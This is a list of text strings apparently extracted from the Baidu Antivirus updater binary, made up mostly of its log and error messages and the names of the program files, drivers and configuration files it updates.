CServerCommunication::get_resume_broken_download_info_from_xml_: The file(%s) downloaded size is too big.

CServerCommunication::file_size_compare_: Call CreateFile(%s) failed(0x%x).

CServerCommunication::file_size_compare_: Call GetFileSizeEx() failed(0x%x).

CServerCommunication::file_size_compare_: The downloaded partial file(%s) donot have same size with resume broken download info.

CServerCommunication::set_resume_broken_download_info_to_xml_: The file(%s) was not been downloaded.

CServerCommunication::set_resume_broken_download_info_to_xml_: Call m_clXmlUpdate.ElementClear function failed.

CServerCommunication::set_resume_broken_download_info_to_xml_: Call clXmlUpdate.Save() failed.

config.ini

CUpdateConfig::Init_: Get update_config.xml failed(x), we will use the default config.

CUpdateConfig::Init_: Get create_update_files_set failed(x).

CUpdateConfig::get_config_info_: Begin execute get update_config.xml function.

CUpdateConfig::get_config_info_: Analyze xml(%s) failed(x).

CUpdateConfig::get_config_info_: The xml(%s) root element name was wong wrong.

CUpdateConfig::get_config_info_: Call get_client_version_files_config failed(x).

CUpdateConfig::get_config_info_: Call get_update_files failed(x).

CUpdateConfig::get_config_info_: Call get_update_lable_files failed(x).

WebProtectionDriverFiles

BavExeFileList

BavNonRootDirExeFileList

BavMustWaitExeFileList

BavPcfPopulariseInstallerExeFile

BavAppStorePopulariseInstallerExeFile

BavSparkPopulariseInstallerExeFile

BavSvcExeFileList

BavTrayExeFileName

BavSvcExeFileName

BavHipsExeFileName

CUpdateConfig::get_config_info_: Call get_update_set failed(x).

CUpdateConfig::get_config_info_: Call get_url_config failed(x).

CUpdateConfig::get_config_info_: End execute get update_config.xml function(x).

CUpdateConfig::get_server_config_: The server cgi url was null.

hXXp://update.bav.baidu.com

ServerURL

CUpdateConfig::get_url_config_: Call CBavConfigIni::GetUrl(%s) failed(0x%x).

cgi-bin/get_security_client_update_info_bav.cgi

CUpdateConfig::get_url_config_: Call CBavConfigIni::GetUrl(%s, %s) failed.

CUpdateConfig::get_url_config_: The update url is (%s).

CUpdateConfig::get_client_version_files_config_: One or more FileList.xml file name were null.

CUpdateConfig::get_update_files_: Call get_update_file_info failed(x).

CUpdateConfig::get_update_files_: Get the update program's file failed(x).

CUpdateConfig::get_update_lable_files_: Call get_update_file_info_into_file_list failed(x).

CUpdateConfig::get_update_files_: Call HexStr2Uint32Data failed(x).

ProgramFileList.xml

SignFileList.xml

DataFileList.xml

update_config.xml

BavUpdater.exe

BavLib.dll

BavUa.dll

DirectUI.dll

Operation.dll

dynamicskin\Temp\SkinRules.xml

FileSplitUpLoad.dll

Bav.exe

BavBp.exe

BavBSReport.exe

BavCloud.exe

BavNp.exe

BavHipsUI.exe

BavPluginRemove.exe

bavsandbox.exe

BavTraffic.exe

BavWebClient.exe

BdSandboxCtrl.exe

CheckNetwork.exe

CrashReport.exe

CrashReport64.exe

CrashUL.exe

Feedback.exe

FileShredder.exe

IEProtect.exe

Investigate.exe

reportcommretry.exe

Translator.exe

Uninstall.exe

plugscan\EnumModules.exe

BdSandboxSrv.exe

BdSandboxSrv64.exe

PC_Faster_Setup_Mini_GL16.exe

PCAppStore_Setup_bav.exe

bdMiniDownloaderGB_BAV-Mini_32_1002.exe

Avira\avupdate.dll

Avira\avupdatelib_msg.avr

Avira\HBEDV.KEY

bavhm.exe

BavTray.exe

bavUm.dll

bavUm64.dll

BavShx.dll

BavShx64.dll

Bavnt.dll

bavnt64.dll

bavqu.dll

bavuhp.dll

BdSandboxDll32.dll

BdSandboxDll64.dll

BdSandbox.sys

BdSandbox64.sys

bhbase.sys

BHipsEx.sys

bprotect.sys

Bprotect64.sys

bfilter.sys

Bfilter64.sys

Bfmon.sys

Bfmon64.sys

Bnbase.sys

Bnbasex.sys

Bnbasex64.sys

Bndef.sys

Bndef64.sys

bxpguard.sys

bavr3base.sys

bavr3base64.sys

BdApiUtil.sys

BdApiUtil64.sys

BdCameraProtect.sys

BdCameraProtect64.sys

bdark.sys

bdark64.sys

bnmon.sys

bnmon64.sys

BsrScan\bsrbc.sys

BsrScan\bsrbc64.sys

log.dll

CXmlAnalyze::Init_: Bend execute analyze xml file(%s).

CXmlAnalyze::Init_: Call load_xml_file function read xml file failed(x).

CXmlAnalyze::Init_: Call TiXmlDocument::Parse(%s) xml file failed.

CXmlAnalyze::Init_: The xml file(%s) is empty.

CXmlAnalyze::Init_: The xml file(%s) root element is empty.

CXmlAnalyze::Init_: The xml file(%s)'s element have an empty attribute name.

CXmlAnalyze::Init_: The xml file(%s)'s element have an empty attribute value.

CXmlAnalyze::Init_: Call get_xml_element_info function failed(x).

CXmlAnalyze::Init_: End execute analyze xml file(x).

CXmlAnalyze::load_xml_file_: Call CreateFileW(%s) function failed(x).

CXmlAnalyze::load_xml_file_: Call GetFileSize function failed(x).

CXmlAnalyze::load_xml_file_: This xml file size is too big(x).

CXmlAnalyze::load_xml_file_: Call ReadFile function failed(x).

DcMd5

CStatisticXmlAnalyze::Init_: Call get_statistic_info function failed(x).

CStatisticXmlAnalyze::Uninit_: Call m_clXmlUpdate.Save function failed(x).

CStatisticXmlAnalyze::UpdateLastCheckUpdateTime_: Call get time function(GetStrYYYYMMDDHHMMSS) failed(x).

CStatisticXmlAnalyze::UpdateLastCheckUpdateTime_: Set LastCheckUpdateTime element failed(x).

CStatisticXmlAnalyze::UpdateLastUpdateTime_: Call get time function(GetStrYYYYMMDDHHMMSS) failed(x).

CStatisticXmlAnalyze::UpdateLastUpdateTime_: Set LastUpdateTime element failed(x).

CStatisticXmlAnalyze::SetNeedSafeCheckUpdateNextTime_: Set NextSafeCheckUpdate element failed(x).

CStatisticXmlAnalyze::SetLastInstallerVersion_: Set NextSafeCheckUpdate element failed(x).

CStatisticXmlAnalyze::get_statistic_info_: There is not update_statistic.xml failed, we will create a new one.

CStatisticXmlAnalyze::get_statistic_info_: Call m_clXmlUpdate.Init function failed(x).

CStatisticXmlAnalyze::get_statistic_info_: Call ConvertYYYYMMDDHHMMSSToSystemTime function failed(x).

CStatisticXmlAnalyze::get_statistic_info_: Call HexStr2Uint32Data function failed(x).

CStatisticXmlAnalyze::get_statistic_info_: Analyze update_statistic.xml failed, we will create a new one.

CStatisticXmlAnalyze::set_statistic_default_: Call m_clXmlUpdate.ElementClear function failed.

CStatisticXmlAnalyze::set_statistic_default_: Call GetStrYYYYMMDDHHMMSS function failed(x).

CStatisticXmlAnalyze::set_statistic_default_: Call m_clXmlUpdate.Save failed.

CLocalFile::IsFileExistByCrc_: Call get_local_or_update_file_size_crc failed(x).

CLocalFile::IsFileExistByMd5_: Call get_local_or_update_file_size_md5 failed(x).

%s%d=

CSignUpdateAgent::Init_: Call m_piSignUpdateClient->Init failed(0x%x).

CSignUpdateAgent::CheckSignNeedUpdate_: Call m_piSignUpdateClient->CheckSignNeedUpdate failed(0x%x).

CSignUpdateAgent::Merge_: Call m_piSignUpdateClient->Merge failed(0x%x).

CSignUpdateAgent::GetNeedCopySigns_: Call m_piSignUpdateClient->GetNeedCopySigns failed(0x%x).

CSignUpdateAgent::GetNeedDeleteSigns_: Call m_piSignUpdateClient->GetNeedDeleteSigns failed(0x%x).

CSignUpdateAgent::AgentInit_: Call LoadLibraryW(%s) function failed(x).

CSignUpdateAgent::back_init_: Call m_clLocalSign.Init failed(x).

CSignUpdateAgent::back_init_: End(x).

CSignUpdateAgent::back_check_sign_need_update_: Call m_clLocalSignConfig.Init failed(x).

CSignUpdateAgent::back_check_sign_need_update_: Call m_clNewSignConfig.Init failed(x).

CSignUpdateAgent::back_check_sign_need_update_: Call get_need_download_sign_libs failed(x).

CSignUpdateAgent::back_check_sign_need_update_: Call get_need_copy_files failed(x).

CSignUpdateAgent::back_check_sign_need_update_: End(x).

CSignUpdateAgent::back_get_need_copy_signs_: Call get_need_copy_files failed(x).

CSignUpdateClient::GetNeedCopySigns_: The local sign config file name(%s) is wrong.

CSignUpdateAgent::back_get_need_copy_signs_: End(x).

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

is_pcf_installed_: Call RegOpenKey failed(0x%x).

is_pcf_installed_: Call RegQueryInfoKey failed(0x%x).

is_pcf_installed_: Call RegEnumKeyEx failed(0x%x).

is_pcf_installed_: The result is %d.

is_str_has_baidu_pc_faster_: We found the pcf sub key(%s).

is_pcf_image_exist_: The PCFaster Svc image key is %s.

is_pcf_image_exist_: Call RegOpenKey failed(0x%x).

is_pcf_image_exist_: Call RegQueryValueEx failed(0x%x).

is_pcf_image_exist_: The image path type is %d.

is_pcf_image_exist_: We found the PCFasterSvc.exe(%s).

is_str_has_spark: We found the spark sub key(%s).

his_spark_installed: Call RegOpenKey failed(0x%x).

is_spark_installed: Call RegQueryInfoKey failed(0x%x).

is_spark_installed: Call RegEnumKeyEx failed(0x%x).

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Spark

is_spark_installed: The result is %d.

explorer.exe

is_spark_installed2_: The HKLM result is %d.

is_spark_installed2_: The HKCU result is %d.

KeyName

CUpdate::Init_: Begin execute initialization function.

CUpdate::Init_: Call m_clReboot.GetRebootUpdateDir failed(x).

CUpdate::Init_: Call CreateDirectoryW(%s) failed(x).

\update_config.xml

\update_statistic.xml

update_statistic.xml

CUpdate::Init_: Call get_config_info function failed(x).

CUpdate::Init_: The reboot update times(x) is up to the max reboot times(x).

CUpdate::Init_: Call m_clStatistic.Init failed, we will use check update.

CUpdate::Init_: End execute initialization function(x).

CUpdate::Uninit_: Begin execute uninitialization function.

CUpdate::Uninit_: End execute uninitialization function.

CUpdate::CheckNeedUpdate_: Begin execute start update check thread.

CUpdate::CheckNeedUpdate_: Start thread failed(x).

CUpdate::CheckNeedUpdate_: End execute start update check thread (x).

CUpdate::DownloadUpdateFiles_: Begin execute start download update files thread.

CUpdate::DownloadUpdateFiles_: Start thread failed(x).

CUpdate::DownloadUpdateFiles_: End execute start download update files thread (x).

CUpdate::UpdateFiles_: Begin execute start update files to local thread.

CUpdate::UpdateFiles_: Start thread failed(x).

CUpdate::UpdateFiles_: End execute start update files to local thread (x).

CUpdate::GetUpdateInfo_: The info type(0x%x) is not support.

CUpdate::SetUpdateInfo_: The server cgi url is %s.

CUpdate::SetUpdateInfo_: The avira installed is %d.

CUpdate::SetUpdateInfo_: The info type(0x%x) is not support.

CUpdate::start_thread_: Call _beginthreadex success(ThreadId=%d).

CUpdate::start_thread_: Call ResumeThread failed(x).

CUpdate::start_thread_: End(x).

CUpdate::end_thread_: End(x).

CUpdate::check_need_update_: Begin execute this function.

CUpdate::check_need_update_: Call get_update_type failed(0x%x), we use check update.

CUpdate::check_need_update_: Call upload_client_info_get_server_info failed(x).

CUpdate::check_need_update_: Call get_server_respond failed(x).

CUpdate::check_need_update_: Call get_file_list failed(x).

CUpdate::delete_dir_: Call DeleteFile(%s) failed(x).

CUpdate::check_need_update_: Call get_need_download_update_files failed(x).

CUpdate::check_need_update_: Call get_need_reboot_to_update_files failed(x).

CUpdate::get_need_download_update_files_: Call merge_module_update_files_with_version_update failed(x).

CUpdate::check_need_update_: End execute this function (x).

CUpdate::download_update_files_: Call CreateSubDirs failed(x).

CUpdate::download_update_files_: Call download_files failed(x), updatetype(x).

CUpdate::download_update_files_: Call download_signs failed(x).

CUpdate::download_update_files_: End(x).

CUpdate::update_files_: Call create_update_sub_dirs failed(x).

CUpdate::update_files_: Call copy_need_reboot_update_files failed(x).

CUpdate::update_files_: Call update_files_sign_lib failed(x).

CUpdate::update_files_: Call remove_garbage_files failed(x).

CUpdate::update_files_: Call m_clStatistic.UpdateXxxUpdateTime failed(x).

CUpdate::update_files_: Call m_clStatistic.SetNeedSafeCheckUpdateNextTime failed(x).

CUpdate::update_files_: End(x).

CUpdate::download_update_files_: Call m_clFeatureLib.FeatureLibUpdateLibs failed(x), updatetype(0x%x).

CUpdate::update_files_sign_lib_: Call md5_micro_sign_update_update_libs(enumUpdateSignMergeSignTypeMd5Sign) failed(x).

CUpdate::update_files_sign_lib_: Call md5_micro_sign_update_remove_garbage_libs(enumUpdateSignMergeSignTypeMd5Sign) failed(x).

CUpdate::update_files_sign_lib_: Call m_clCommonSignUpdate.CommonSignUpdateLibs failed(x).

CUpdate::update_files_sign_lib_: Call md5_micro_sign_update_update_libs(enumUpdateSignMergeSignTypeMicroSign) failed(x).

CUpdate::update_files_sign_lib_: Call md5_micro_sign_update_remove_garbage_libs(enumUpdateSignMergeSignTypeMicroSign) failed(x).

CUpdate::update_files_: Call update_files_url_sign_lib failed(x).

CUpdate::update_files_sign_lib,update_files_url_sign_lib

CUpdate::update_files_sign_lib_: Call remove_garbage_files failed(x).

CUpdate::update_files_sign_lib_: End(x).

CUpdate::dynamic_update_files_: Call create_update_sub_dirs failed(x).

CUpdate::dynamic_update_files_: Call copy_need_reboot_update_files failed(x).

CUpdate::dynamic_update_files_: Call m_clStatistic.UpdateXxxUpdateTime failed(x).

CUpdate::dynamic_update_files_: Call m_clStatistic.SetNeedSafeCheckUpdateNextTime failed(x).

CUpdate::dynamic_update_files_: End(x).

CUpdate::update_files_url_sign_lib_: Call remove_garbage_files failed(x).

CUpdate::update_files_url_sign_lib_: End(x).

CUpdate::get_os_version_info_: CallGetModuleHandle(kernel32.dll) failed(GetLastError = 0x%x).

6.%d.%d.%d.%d.%d.%d

version.xml

sw.dat

sb.dat

CUpdate::get_url_lib_version_info_: Call clSignLibEncrypt.DecryptLib(%s) function failed.

CUpdate::get_url_lib_version_info_: Call clSignLibEncrypt.DecryptLib(%s) function read 0 byte.

CUpdate::get_url_lib_version_info_: We did not find the version and timestamp element.

sc.ini

nsc.ini

CUpdate::get_dll_path_: Call GetModuleFileName function failed(x).

CUpdate::get_config_info_: Call m_clConfig.Init function failed(x).

CUpdate::server_communication_init_: Init the server communication failed(x).

CUpdate::upload_client_info_get_server_info_: Get os version failed(x).

CUpdate::upload_client_info_get_server_info_: Get client version failed(x).

CUpdate::upload_client_info_get_server_info_: Get user info failed(x).

CUpdate::upload_client_info_get_server_info_: Get url lib version info failed(x).

CUpdate::upload_client_info_get_server_info,get_url_lib_version_info

server_respond.xml

CUpdate::upload_client_info_get_server_info_: Call m_clServerC.UploadClientInfo failed(x), we will try again.

CUpdate::upload_client_info_get_server_info_: Call m_clServerC.UploadClientInfo failed(x).

CUpdate::get_server_respond_: Analyze the server respond xml failed(x).

CUpdate::get_server_respond_: Call get_server_sign_update failed(x).

.bk.unknown

CUpdate::get_server_respond_: Call complete_program_server_respond failed(x).

CUpdate::get_server_respond_: Call get_module_update_server_respond failed(x).

CUpdate::get_server_respond_: Call self_check_update failed(x).

CUpdate::get_server_respond_: Call reinstall_clean_update_files failed(x).

CUpdate::get_server_respond_: Call download_file_list failed(x).

CUpdate::get_server_respond_: Call m_clModuleUpdate.Init failed(x).

CUpdate::get_server_respond_: Call m_clModuleUpdate.ModuleUpdateFilesCheck failed(x).

CUpdate::remove_double_download_files_by_module_version_update_: Remove version download file(%s).

/FileList.xml.7z

CUpdate::download_file_list_: The file name(%s) is too long, we will download not compressed file.

CUpdate::download_file_list_: The file (%s) is not been downloaded successfully, we will download not compressed file.

\BavUa.dll

CUpdate::download_file_list_: Initialize bavua agent failed(x), we will download not compressed file.

CUpdate::download_file_list_: The download file name(%s) is wrong, we will download not compressed file.

CUpdate::download_file_list_: Extract file(%s) failed(x), we will download not compressed file.

\FileList.xml

CUpdate::download_file_list_: Call _wrename(%s, %s) failed, we will download not compressed file.

CUpdate::download_file_list_: There must be wrong in update_config.xml.

CUpdate::download_file_list_: Check download file(%s) failed(x), size(x,x), we will download not compressed file.

CUpdate::download_file_list_: Download file(%s) success.

/FileList.xml

CUpdate::get_server_respond_: Call m_clServerC.DownloadFile failed(x).

CUpdate::get_download_reinstall_files_: The installer file name(%s) is wrong.

CUpdate::get_download_reinstall_files_: Call FindFirstFile(%s) return INVALID_HANDLE_VALUE(0x%x).

.gnet

CUpdate::delete_dir_: Call delete_dir(%s) failed(x).

CUpdate::delete_dir_: Call FindClose failed(x).

CUpdate::delete_dir_: Call RemoveDirectory(%s) failed(x).

CUpdate::get_file_list_: Call m_clServerProgramFileList.Init failed(x).

CUpdate::get_file_list_: Call m_clLocalProgramFileList.Init failed(0x%x), we will use check update.

CUpdate::get_need_download_update_files_: Call get_need_download_update_files_by_xxx failed(x).

CUpdate::get_need_download_update_files_by_file_list_: Call m_clLocalFile.Init failed(x).

CUpdate::get_need_download_update_files_: Call m_clLocalFile.Init failed(x).

CUpdate::get_need_download_update_files_: Call m_clLocalFile.IsFileExistByCrc failed(x).

CUpdate::get_need_download_update_files_: The file(%s) need download and update.

CUpdate::get_need_download_update_files_: The file(%s) need update.

CUpdate::self_check_update_: There need check update, but the server version(%s) is not same with server url(%s). We will skip check.

CUpdate::self_check_update_: Call m_clLocalProgramFileList.Init failed(x).

CUpdate::get_server_respond_: Call get_need_download_update_files_by_file_existing failed(x).

CUpdate::get_need_download_update_files_by_md5_: Call m_clLocalFile.Init failed(x).

CUpdate::get_need_download_update_files_by_md5_: The file(%s) need update.

CUpdate::get_need_download_update_files_by_md5_: The compressed file(%s) donot have decompressed file size is 0.

CUpdate::get_need_download_update_files_by_md5_: Call get_decomrpessed_file_name_by_compressed_file_name(%s) failed.

CUpdate::get_need_download_update_files_by_md5_: Call m_clLocalFile.IsFileExistByMd5 failed(x).

CUpdate::get_need_download_update_files_by_md5_: The file(%s) need download and update.

CUpdate::get_need_download_update_files_by_file_existing_: Call m_clLocalFile.Init failed(x).

CUpdate::get_need_download_update_files_by_file_existing_: The file(%s) need update.

CUpdate::get_need_download_update_files_by_file_existing_: The compressed file(%s) donot have decompressed file size is 0.

CUpdate::get_need_download_update_files_by_file_existing_: The file(%s) need download and update.

CUpdate::download_files_: Call QueryPerformanceFrequency failed(%d).

CUpdate::download_files_: Call download_files_by_md5 failed(0x%x).

CUpdate::download_files_by_crc_: Call download_need_download_file failed(0x%x).

CUpdate::download_files_by_crc_: Call extract_download_compressed_file(%s) failed(0x%0x).

CUpdate::download_files_by_md5_: Call download_need_download_file failed(0x%x).

CUpdate::download_files_by_md5_: Call extract_download_compressed_file(%s) failed(0x%0x).

http_download_callback, nCode=DOWNLOAD_TASK_START

http_download_callback, nCode=DOWNLOAD_TASK_FAILED

http_download_callback, nCode=DOWNLOAD_TASK_STOP

http_download_callback, nCode=DOWNLOAD_MAN_INI

http_download_callback, nCode=DOWNLOAD_MAN_FAILED

http_download_callback, nCode=DOWNLOAD_MAN_CLOSE

http_download_callback, nCode=%d

DownloadFile_: lpUrl=%s)

DownloadFile_: CreateEvent, GetLastError=%u

DownloadFile_: info.nFinishedSize == info.nTotalSize

DownloadFile_: info.nFinishedSize(%I64u) > info.nTotalSize(%I64u)

DownloadFile_: m_Downloader.AddDownloadTask(nFinishedSize=%I64u, nTotalSize=%I64u, strUrl=%s, strFileName=%s)

DownloadFile_: _tstat(%s), errno=%d

DownloadFile_: st.st_size(%d) != info.nTotalSize(%I64u)

CheckFile,PathFileExists(%s)=0

CheckFile, FullFileMd5CalculateByName(%s)

DownloadFile_: Call QueryPerformanceFrequency failed(x).

DownloadFile_: CheckFile(%s)

DownloadFile_: DownloadFile(%s, %s)

CUpdate::download_installation_package_: Call QueryPerformanceFrequency failed(%d).

CUpdate::download_installation_package_: Download file(%s) failed(x).

CUpdate::download_installation_package_: Call DeleteFileW(%s) failed(0x%x).

CUpdate::download_installation_package_: Call CopyFileW(%s, %s) failed(0x%x).

CUpdate::download_installation_package_: Call download_installer_new_feature_files failed(x).

CUpdate::copy_update_file_: Call rename_file_name(%s) failed(x).

CUpdate::copy_update_file_: Call CopyFileW(%s, %s) failed(x).

CUpdate::not_reboot_update_files_: Call self_defense_update_files failed(x).

CUpdate::not_reboot_update_files_: Call web_protection_update_files failed(x).

CUpdate::not_reboot_update_files_: Call config_update_files failed(x).

CUpdate::not_reboot_update_files_: copy_update_file file(%s).

CUpdate::not_reboot_update_files_: Call copy_update_file(%s) failed(x).

CUpdate::reboot_update_files_: Call self_defense_update_files failed(x).

CUpdate::reboot_update_files_: Call web_protection_update_files failed(x).

CUpdate::reboot_update_files_: Call config_update_files failed(x).

CUpdate::reboot_update_files_: Call MoveFileEx(%s, %s) failed(x).

CUpdate::reboot_update_files_: Call MoveFileEx(%s, %s) success.

CUpdate::reboot_update_files_: Call m_clReboot.SetRebootUpdateTimes(true) failed(x).

CUpdate::reboot_update_files_: End(x).

CUpdate::dynamic_update_reboot_files_: Call copy_update_file failed(0x%x).

CUpdate::dynamic_update_reboot_files_: Copy update file(%s, %s) success.

CUpdate::dynamic_update_reboot_files_: We delete need reboot update file(%s), result(x).

CUpdate::dynamic_update_reboot_files_: We delete old back file(%s), result(x).

CUpdate::dynamic_update_reboot_files_: We delete old back file(%s) after rollback, result(x).

CUpdate::copy_need_reboot_update_files_: End(x).

CUpdate::self_defense_update_files_: Call GetSystemDirectory failed(x).

CUpdate::self_defense_update_files_: copy_update_file file(%s).

CUpdate::self_defense_update_files_: Call copy_update_file(%s) failed(x).

64.sys

CUpdate::web_protection_update_files_: copy_update_file file(%s).

CUpdate::web_protection_update_files_: Call copy_update_file(%s) failed(x).

CUpdate::update_avira_files_: copy_update_file file(%s).

CUpdate::update_avira_files_: Call copy_update_file(%s) failed(x).

CUpdate::config_update_files_: Call CBavConfigIni::UpdateConfig(%s) failed(0x%x).

CUpdate::config_update_files_: Update config file(%s) successful.

CUpdate::program_data_update_files_: Call SHGetFolderPath failed(0x%x).

CUpdate::program_data_update_files_: The Program Data file path is "%s".

CUpdate::program_data_update_files_: Call MoveFileEx failed(0x%x).

CUpdate::program_data_update_files_: Call MoveFileEx(%s, %s).

CUpdate::program_data_update_files_: Call program_data_update_reg failed(0x%x).

CUpdate::program_data_update_reg_: The Program Data file name(%s) was wrong.

CUpdate::program_data_update_reg_: We need create "%s" reg.

CUpdate::program_data_update_reg_: Call RegKey.Create(%s) reg failed(0x%x, 0x%x).

CUpdate::program_data_update_reg_: Call clRegKey.SetStringValue(%s, %s) reg failed(0x%x, 0x%x).

CUpdate::program_data_update_reg_: Call clRegKey.SetStringValue(%s, %s) reg successful.

MergeHistoryList.ini

FileInfo.ini

CUpdate::reboot_remove_dirs_and_files_: Call MoveFileEx(%s, NULL) to remove failed(x).

CUpdate::reboot_remove_dirs_and_files_: Call MoveFileEx(%s, NULL) to remove success.

CUpdate::reboot_remove_dirs_and_files_:m_clReboot.RebootDeleteDir(%s) failed(x).

CUpdate::rename_file_name_: Call _itow_s (%d) failed(%d).

CUpdate::rename_file_name_: Try DeleteFileW(%s) failed(%d).

CUpdate::rename_file_name_: Call _wrename (%s, %s).

CUpdate::rename_file_name_: Call _wrename (%s, %s) failed(0x%x, GetLastError=0x%x).

CUpdate::rollback_renamed_file_name_: Rollback file(%s) failed.

CUpdate::rollback_renamed_file_name_: Call CopyFileW(%s, %s, FALSE) failed(x).

CUpdate::remove_garbage_files_: We delete garbage file(%s).

CUpdate::remove_garbage_files_: We delete garbage file(%s), result(x).

CUpdate::remove_garbage_files_: We delete 64 garbage file(%s), result(x).

CUpdate::check_common_sign_need_update_: Call m_clCommonSignUpdate.Init failed.

\BavLib.dll

CUpdate::md5_micro_sign_merge_class_init_,m_clMd5SignUpdate.AgentInit

CUpdate::md5_micro_sign_merge_class_init_,m_clMicroSignUpdate.AgentInit

CUpdate::md5_or_micro_sign_merge_class_init_: The enumSignType = %d.

CUpdate::md5_or_micro_sign_merge_class_init_: Call m_Md5SignUpdate.AgentInit(%s) failed(x).

MicroFileInfo.ini

MicroSignMergeHistory.ini

CUpdate::sign_update_download_check_files_: Call m_clServerC.DownloadFile(%s) failed(x)

CU::mmsu_download_check_files_,m_clServerC.DownloadFile

CUpdate::sign_update_download_check_files_: Call FileInfo_StaticLib::GetFileSizeByNameExW(%s) failed(x)

CU::mmsu_download_check_files_,FI_SL::.GetFileSizeByNameExW

CUpdate::sign_update_download_check_files_: Call clFileInfo.Init failed(x)

CUpdate::md5_micro_sign_update_download_check_files_,clFileInfo.Init

CUpdate::sign_update_download_check_files_: Call m_clFileInfo.GetFileInfo failed(x)

CUpdate::md5_micro_sign_update_download_check_files_,clFileInfo.GetFileInfo

CUpdate::sign_update_download_check_files_: Call download_compressed_sign_file(%s) failed(x)

CUpdate::sign_update_download_check_files_: The local sign*.ini file need update.

CUpdate::md5_micro_sign_update_check_need_update_: Call md5_micro_sign_update_download_check_files failed(0x%x)

CUpdate::md5_micro_sign_update_download_and_merge_libs_: Call md5_micro_sign_update_download_libs failed(x).

CUpdate::md5_micro_sign_update_download_and_merge_libs_: Call sign_update_merge_libs failed(x).

CUpdate::sign_update_download_libs_: Call download_compressed_sign_file(%s) failed(x)

CUpdate::url_sign_update_download_libs_: User quit.

CUpdate::url_sign_update_download_libs_: Call download_compressed_sign_file(%s) failed(x)

CUpdate::download_compressed_sign_file_: The download file(%s) has been there.

CUpdate::download_compressed_sign_file_: The sign file name(%s) is too long, we will download not compressed sign file.

CUpdate::download_compressed_sign_file_: The sign file (%s) is not been downloaded successfully, we will download not compressed sign file.

CUpdate::download_compressed_sign_file_: Initialize bavua agent failed(x), we will download not compressed sign file.

CUpdate::download_compressed_sign_file_: The download sign file name(%s) is wrong, we will download not compressed sign file.

CUpdate::download_compressed_sign_file_: Extract file(%s) failed(x), we will download not compressed sign file.

CUpdate::download_compressed_sign_file_: Check extracted download file(%s) failed(x), size(x,x), we will download not compressed sing file.

CUpdate::download_compressed_sign_file_: Download file(%s) success.

CUpdate::download_compressed_sign_file_: Check extracted download file(%s) failed(x), size(x,x), crc32(x,x), we will download not compressed sing file.

CUpdate::download_compressed_sign_file_: Call DownLoad failed(x)

CUpdate::download_compressed_sign_file_,m_clServerC.DownloadFile

BavWl.fa

fa.dat

BavWl.nfa

nfa.dat

CUpdate::md5_micro_sign_update_update_libs_: Call CopyFileW(%s, %s) failed(x)

CUpdate::md5_micro_sign_update_update_libs_: There is only one false sign lib(%s), not x libs.

CUpdate::get_decomrpessed_file_name_by_compressed_file_name_: The compressed file name(%s) is wrong.

CUpdate::set_current_download_file_name_: Current download file is %s.

CUpdate::download_need_download_file_: The file(%s) has been downloaded.

CUpdate::download_need_download_file_: The decompressed file(%s) has been downloaded.

CUpdate::download_need_download_file_: Download file(%s) failed(0x%x).

CUpdate::extract_download_compressed_file_: Initialize bavua agent failed(x).

CUpdate::extract_download_compressed_file_: Extract file(%s) failed(x).

CUpdate::load_7z_dll_: Initialize bavua agent failed(x).

CUpdate::get_download_decompressed_file_info_: Call get_decomrpessed_file_name_by_compressed_file_name(%s) failed(0x%0x).

CUpdate::replace_update_self_files_: Call rename_file_name(%s) failed(0x%x).

CUpdate::replace_update_self_files_: Call MoveFileEx(%s, %s) failed(x).

CUpdate::replace_update_self_files_: Call MoveFileEx(%s, %s) success.

CUpdateReboot::delete_renamed_update_self_files_: Call MoveFileEx(%s, NULL) to remove failed(0x%x).

CUpdate::new_downloader_download_install_pack_: The download file(%s) has been there.

CUpdateReboot::new_downloader_download_install_pack_: Call clDownload.Init failed(0x%x).

CUpdateReboot::new_downloader_download_install_pack_: Call clDownload.DownloadFile failed(0x%x).

InstallerFilesInfo.ini

CUpdate::download_installer_new_feature_files_: Call clFileInfo.Init failed(x)

CUpdate::download_installer_new_feature_files_: Call m_clFileInfo.GetFilesMap failed(x)

CUpdate::download_compressed_sign_file_: Call m_clServerC.DownloadFile(%s) failed(x)

CUpdate::is_avira_update_files_: Convert file name(%s) is failed.

CUpdate::is_avira_update_files_: The compressed file(%s) donot have decompressed file size is 0.

CUpdate::is_avira_update_files_: Call get_decomrpessed_file_name_by_compressed_file_name(%s) failed.

CUpdate::is_avira_update_files_: Call m_clLocalFile.IsFileExistByMd5 failed(x).

CUpdate::is_avira_update_files_: The file(%s) need update.

CUpdate::is_avira_update_files_: The avira file(%s) need download and update.

CUpdate::is_avira_update_files_: The avira file(%s) need update.

CUpdate::is_avira_files_exist_: Convert file name(%s) is failed.

CUpdate::is_avira_files_exist_: The avira file name(%s) was not existing.

CUpdate::is_avira_files_exist_: The compressed file(%s) donot have decompressed file size is 0.

CUpdate::is_baidu_installer_files_: Convert file name(%s) is failed.

CUpdate::is_baidu_installer_files_: The compressed file(%s) donot have decompressed file size is 0.

CUpdate::is_baidu_installer_files_: Call get_decomrpessed_file_name_by_compressed_file_name(%s) failed.

CUpdate::is_baidu_installer_files_: Call m_clLocalFile.IsFileExistByMd5 failed(x).

CUpdate::is_baidu_installer_files_: The file(%s) need update.

CUpdate::is_baidu_installer_files_: Call push_baidu_installer_need_update_files failed(x).

CUpdate::is_baidu_installer_file_existing_: Convert file name(%s) is failed.

CUpdate::is_baidu_installer_file_existing_: The compressed file(%s) donot have decompressed file size is 0.

CUpdate::is_baidu_installer_file_existing_: The file(%s) need update.

CUpdate::is_baidu_installer_file_existing_: Call push_baidu_installer_need_update_files failed(x).

CUpdate::push_baidu_installer_need_update_files_: The file(%s) need download and update.

CUpdate::push_baidu_installer_need_update_files_: The file(%s) need update.

CUpdate::get_need_update_sign_lib_type_: Call pclSignUpdate->GetNeedCopySigns failed(x).

CUpdate::get_need_update_sign_lib_type_: Call CSignType::GetUpdateFilesSignType failed(x).

SignConfig.ini

CUpdate::get_server_respond_: Call m_clCompleteProgram.Init failed(x).

CUpdate::complete_program_dwonload_update_: Call download_files_by_md5 failed(x).

CUpdate::complete_program_dwonload_update_: Call m_clCompleteProgram.UpdateFiles failed(x).

CUpdate::get_server_respond_: Call get_feature_lib_update_info failed(0x%x).

CUpdate::download_signs_: Call m_clFeatureLib.FeatureLibDownloadLibs failed(x), updatetype(0x%x).

CUpdate::download_signs_: Call md5_micro_sign_update_download_and_merge_libs failed(x).

CUpdate::download_signs_: Call m_clCommonSignUpdate.CommonSignDownloadLibs failed(x).

CUpdate::download_signs_: Call url_sign_update_download_libs failed(x).

